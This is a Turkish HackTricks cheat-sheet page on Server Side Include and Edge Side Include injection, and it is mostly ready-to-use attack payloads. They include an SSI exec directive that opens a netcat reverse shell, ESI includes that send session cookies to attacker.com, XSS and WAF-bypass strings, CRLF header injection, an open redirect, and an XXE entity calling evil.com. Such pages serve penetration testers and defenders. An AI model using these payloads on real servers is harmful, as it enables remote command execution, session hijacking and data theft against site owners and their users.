Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme Enjeksiyonu
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Sunucu Tarafı Dahil Etme Temel Bilgileri
(Giriş, Apache belgelerinden** alınmıştır)**
SSI (Sunucu Tarafı Dahil Etmeleri), HTML sayfalarına yerleştirilen ve sayfalar sunulurken sunucuda değerlendirilen direktiflerdir. Mevcut bir HTML sayfasına dinamik olarak üretilen içerik eklemenizi sağlar, tüm sayfayı bir CGI programı veya diğer dinamik teknoloji aracılığıyla sunmak zorunda kalmadan.
Örneğin, mevcut bir HTML sayfasına şu şekilde bir direktif yerleştirebilirsiniz:
<!--#echo var="DATE_LOCAL" -->
Ve sayfa sunulduğunda, bu parça değerlendirilecek ve değeri ile değiştirilecektir:
Tuesday, 15-Jan-2013 19:28:54 EST
SSI kullanma kararı, sayfanın ne kadarının statik olduğu ve sayfa her sunulduğunda ne kadarının yeniden hesaplanması gerektiği ile genellikle ilgilidir. SSI, yukarıda gösterilen mevcut zamanı gibi küçük bilgi parçaları eklemek için harika bir yoldur. Ancak sayfanızın çoğunluğu sunulduğu anda üretiliyorsa, başka bir çözüm aramanız gerekir.
Web uygulaması .shtml
, .shtm
veya .stm
uzantılı dosyalar kullanıyorsa, SSI'nin varlığını çıkarabilirsiniz, ancak bu sadece bir durum değildir.
Tipik bir SSI ifadesinin aşağıdaki formatı vardır:
<!--#directive param="value" -->
Kontrol
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Edge Side Inclusion
Dinamik uygulamaların veya bilgilerin önbelleğe alınması ile ilgili bir sorun vardır çünkü içeriğin bir kısmı bir sonraki içerik alındığında değişebilir. Bu, ESI'nin kullanılma amacıdır; ESI etiketlerini kullanarak önbellek versiyonundan önce oluşturulması gereken dinamik içeriği belirtmek için.
Eğer bir saldırgan önbellek içeriğine bir ESI etiketi enjekte edebilirse, o zaman, belgenin kullanıcılarına gönderilmeden önce rastgele içerik enjekte edebilme yeteneğine sahip olabilir.
ESI Detection
Sunucudan gelen bir yanıttaki aşağıdaki başlık, sunucunun ESI kullandığını gösterir:
Surrogate-Control: content="ESI/1.0"
Bu başlığı bulamazsanız, sunucu her halükarda ESI kullanıyor olabilir.
Kör istismar yaklaşımı da kullanılabilir çünkü bir isteğin saldırganın sunucusuna ulaşması gerekir:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
ESI istismarı
GoSecure oluşturdu farklı ESI uyumlu yazılımlar üzerinde deneyebileceğimiz olası saldırıları anlamak için bir tablo:
- Includes:
<esi:includes>
direktifini destekler - Vars:
<esi:vars>
direktifini destekler. XSS Filtrelerini aşmak için kullanışlıdır - Cookie: Belge çerezleri ESI motoruna erişilebilir
- Upstream Headers Required: Surrogate uygulamaları, upstream uygulama başlıkları sağlamadıkça ESI ifadelerini işleme almaz
- Host Allowlist: Bu durumda, ESI dahil etmeleri yalnızca izin verilen sunucu ana bilgisayarlarından mümkündür, bu da örneğin SSRF'yi yalnızca bu ana bilgisayarlara karşı mümkün kılar
Yazılım | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Evet | Evet | Evet | Evet | Hayır |
Varnish Cache | Evet | Hayır | Hayır | Evet | Evet |
Fastly | Evet | Hayır | Hayır | Hayır | Evet |
Akamai ESI Test Server (ETS) | Evet | Evet | Evet | Hayır | Hayır |
NodeJS esi | Evet | Evet | Evet | Hayır | Hayır |
NodeJS nodesi | Evet | Hayır | Hayır | Hayır | Opsiyonel |
XSS
Aşağıdaki ESI direktifi, sunucunun yanıtı içinde rastgele bir dosya yükleyecektir.
<esi:include src=http://attacker.com/xss.html>
Müşteri XSS korumasını atlatma
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Çerez Çalma
- Uzaktan çerez çalma
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- XSS ile HTTP_ONLY çerezini yanıt içinde yansıtarak çalmak:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Özel Yerel Dosya
Bunu "Yerel Dosya Dahil Etme" ile karıştırmayın:
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Open Redirect
Aşağıdakiler, yanıta bir Location
başlığı ekleyecektir.
<!--esi $add_header('Location','http://attacker.com') -->
Başlık Ekle
- Zorunlu istekte başlık ekle
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Yanıtınıza başlık ekleyin (XSS ile bir yanıtta "Content-Type: text/json" atlatmak için faydalıdır)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF Ekle Başlığı (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
Bu, yanıtta yer alan hata ayıklama bilgilerini gönderecektir:
<esi:debug/>
ESI + XSLT = XXE
eXtensible Stylesheet Language Transformations (XSLT)
sözdizimini ESI'de kullanmak mümkündür, sadece dca
değerini xslt
olarak belirtmek yeterlidir. Bu, XSLT'yi kötüye kullanarak bir XML Dış Varlık açığı (XXE) oluşturmayı ve kötüye kullanmayı mümkün kılabilir:
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
XSLT dosyası:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
XSLT sayfasını kontrol edin:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Referanslar
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Brute-Force Tespit Listesi
Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.